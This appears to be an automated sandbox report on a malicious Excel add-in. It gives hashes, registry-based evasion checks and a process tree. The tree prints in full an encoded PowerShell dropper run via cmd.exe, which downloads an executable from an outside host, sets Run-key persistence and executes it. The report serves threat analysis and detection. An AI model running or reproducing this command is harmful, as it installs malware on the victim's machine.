Analysis
- max time kernel
107s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-20220721-en - resource tags
arch:x64arch:x86image:win10v2004-20220721-enlocale:en-usos:windows10-2004-x64system - submitted
24/07/2022, 04:17
Behavioral task
behavioral1
Sample
5955f821356e45f71788a755902e7ab142c3a6214ec2adc755abbe30f6c44985.xlam
Resource
win7-20220715-en
12 signatures
150 seconds
Behavioral task
behavioral2
Sample
5955f821356e45f71788a755902e7ab142c3a6214ec2adc755abbe30f6c44985.xlam
Resource
win10v2004-20220721-en
9 signatures
150 seconds
General
- Target 5955f821356e45f71788a755902e7ab142c3a6214ec2adc755abbe30f6c44985.xlam
- Size 31KB
- Sample220724-ewr5fafbb6
- SHA256 5955f821356e45f71788a755902e7ab142c3a6214ec2adc755abbe30f6c44985
- MD5 252edf8ebdfbd1c992dfd8d570fa176c
- SHA1 d2b98b1fac0d72e146c06b6f22641fc0052aaedc
- SHA512 22e2b3e07bf0f5e0cea2597f09aa0bc07371660bf2e235333aebef52ee074780febb5a3b6775c5b17642981317cf23a7566e74bcdb63e68e20b8bb55f568eae3
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Language
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ps1
Deobfuscated
Source
URLs
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exe.dropper
https://a.doko.moe/vntawp.jpg
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 712 1672 cMD.exe 79 - Zeus
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1672 EXCEL.EXE - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4392 powershell.exe 4392 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4392 powershell.exe - Suspicious use of SetWindowsHookEx 8 IoCs
pid Process 1672 EXCEL.EXE 1672 EXCEL.EXE 1672 EXCEL.EXE 1672 EXCEL.EXE 1672 EXCEL.EXE 1672 EXCEL.EXE 1672 EXCEL.EXE 1672 EXCEL.EXE - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1672 wrote to memory of 712 1672 EXCEL.EXE 80 PID 1672 wrote to memory of 712 1672 EXCEL.EXE 80 PID 712 wrote to memory of 4392 712 cMD.exe 82 PID 712 wrote to memory of 4392 712 cMD.exe 82
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\5955f821356e45f71788a755902e7ab142c3a6214ec2adc755abbe30f6c44985.xlam"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1672 -
C:\Windows\SYSTEM32\cMD.execMD & /C PowErSHeLl -En ZgB1AG4AYwB0AGkAbwBuACAAYQBXAHoATwBPAGQAeQA5AFgASgB6AE4AYQBDAEoANgAgACgAIAAkAHoASwBtAFoAUQA4AFEAawBrADMAdABSAEYAbABIAGwATABOAHkAYQAgACwAIAAkAFAAawBPAGMASABVAFYAQgBOAG8AVwBnAFQASAA4AFgAWABIAFkAIAApAHsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACAAJAB6AEsAbQBaAFEAOABRAGsAawAzAHQAUgBGAGwASABsAEwATgB5AGEAIAAsACAAJABQAGsATwBjAEgAVQBWAEIATgBvAFcAZwBUAEgAOABYAFgASABZACAAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAIAAkAFAAawBPAGMASABVAFYAQgBOAG8AVwBnAFQASAA4AFgAWABIAFkAIAApADsAIAB9AA0ACgB0AHIAeQB7AA0ACgANAAoAJABGAEIAVABPADEAVQAyAFkAdQBOAHcAcAA4AFIANwAxAHYAdQBiAFcARwBTAF8AdwBGAHkATQA9ACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAKwAnAFwARQBjAGgAZgBNAFAAcQByAGkAYwBVADkASQBCAHoALgBlAHgAZQAnADsADQAKAGEAVwB6AE8ATwBkAHkAOQBYAEoAegBOAGEAQwBKADYAIAAnAGgAdAB0AHAAcwA6AC8ALwBhAC4AZABvAGsAbwAuAG0AbwBlAC8AdgBuAHQAYQB3AHAALgBqAHAAZwAnACAAJABGAEIAVABPADEAVQAyAFkAdQBOAHcAcAA4AFIANwAxAHYAdQBiAFcARwBTAF8AdwBGAHkATQA7AA0ACgAkAGsANwBnAEcAYQB5AGYASQBxAFAAbgBJAHYAVwBjAGQAZwBjAEwASQBBAG4AcgAgAD0AJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABFAGMAaABmAE0AUABxAHIAaQBjAFUAOQBJAEIAegAuAGUAeABlACcAOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAJwBIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAnACAALQBOAGEAbQBlACAAJwBlAHgAcABsAG8AcgBlACcAIAAtAFYAYQBsAHUAZQAgACQAawA3AGcARwBhAHkAZgBJAHEAUABuAEkAdgBXAGMAZABnAGMATABJAEEAbgByACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgACcAUwB0AHIAaQBuAGcAJwAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA0ACgANAAoAfQBjAGEAdABjAGgAewB9AA==2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:712 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowErSHeLl -En ZgB1AG4AYwB0AGkAbwBuACAAYQBXAHoATwBPAGQAeQA5AFgASgB6AE4AYQBDAEoANgAgACgAIAAkAHoASwBtAFoAUQA4AFEAawBrADMAdABSAEYAbABIAGwATABOAHkAYQAgACwAIAAkAFAAawBPAGMASABVAFYAQgBOAG8AVwBnAFQASAA4AFgAWABIAFkAIAApAHsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACAAJAB6AEsAbQBaAFEAOABRAGsAawAzAHQAUgBGAGwASABsAEwATgB5AGEAIAAsACAAJABQAGsATwBjAEgAVQBWAEIATgBvAFcAZwBUAEgAOABYAFgASABZACAAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAIAAkAFAAawBPAGMASABVAFYAQgBOAG8AVwBnAFQASAA4AFgAWABIAFkAIAApADsAIAB9AA0ACgB0AHIAeQB7AA0ACgANAAoAJABGAEIAVABPADEAVQAyAFkAdQBOAHcAcAA4AFIANwAxAHYAdQBiAFcARwBTAF8AdwBGAHkATQA9ACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAKwAnAFwARQBjAGgAZgBNAFAAcQByAGkAYwBVADkASQBCAHoALgBlAHgAZQAnADsADQAKAGEAVwB6AE8ATwBkAHkAOQBYAEoAegBOAGEAQwBKADYAIAAnAGgAdAB0AHAAcwA6AC8ALwBhAC4AZABvAGsAbwAuAG0AbwBlAC8AdgBuAHQAYQB3AHAALgBqAHAAZwAnACAAJABGAEIAVABPADEAVQAyAFkAdQBOAHcAcAA4AFIANwAxAHYAdQBiAFcARwBTAF8AdwBGAHkATQA7AA0ACgAkAGsANwBnAEcAYQB5AGYASQBxAFAAbgBJAHYAVwBjAGQAZwBjAEwASQBBAG4AcgAgAD0AJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABFAGMAaABmAE0AUABxAHIAaQBjAFUAOQBJAEIAegAuAGUAeABlACcAOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAJwBIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAnACAALQBOAGEAbQBlACAAJwBlAHgAcABsAG8AcgBlACcAIAAtAFYAYQBsAHUAZQAgACQAawA3AGcARwBhAHkAZgBJAHEAUABuAEkAdgBXAGMAZABnAGMATABJAEEAbgByACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgACcAUwB0AHIAaQBuAGcAJwAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA0ACgANAAoAfQBjAGEAdABjAGgAewB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4392
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